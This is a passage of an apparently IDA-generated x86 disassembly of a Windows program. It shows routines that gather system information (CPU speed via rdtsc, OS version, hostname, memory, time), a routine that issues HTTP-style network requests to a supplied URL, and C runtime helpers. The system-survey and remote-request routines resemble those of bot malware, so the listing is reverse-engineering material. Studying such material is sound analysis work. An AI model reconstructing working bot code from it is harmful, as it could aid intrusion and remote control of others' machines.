loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2660000h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D128 mov [ebp+var_CC], 94h nop call near ptr 26B05AAh xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_431284 loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_431280 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_43127C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_431278 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_431274 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431270 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431268 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_43783C push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE54 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFB4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call near ptr 2650A62h nop lea eax, [ebp+var_114] push 46h push eax push offset dword_43A114 push ebx mov esi, 409h push ebx push esi nop call near ptr 2710000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 270158Fh push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2800000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A038 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB05C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE38 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A19C push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A194 jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A190 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A18C lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A148 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A27C call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAE70 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF24 call dword_4CAF48 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF3C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAEE8 test eax, eax jz short loc_41AF48 push offset dword_43A260 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A224 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A208 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A1DC jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1AC loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFA8 push [ebp+var_4] call dword_4CAFA8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx nop call near ptr 26C0000h pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC904 nop call near ptr 2770000h loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC908 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC900 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC904 nop call near ptr 2780000h mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2810000h mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB2FC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C2F4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC904 call near ptr 2780000h nop mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC904 call near ptr 2810000h nop mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB2FC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2810000h test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB2FC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: 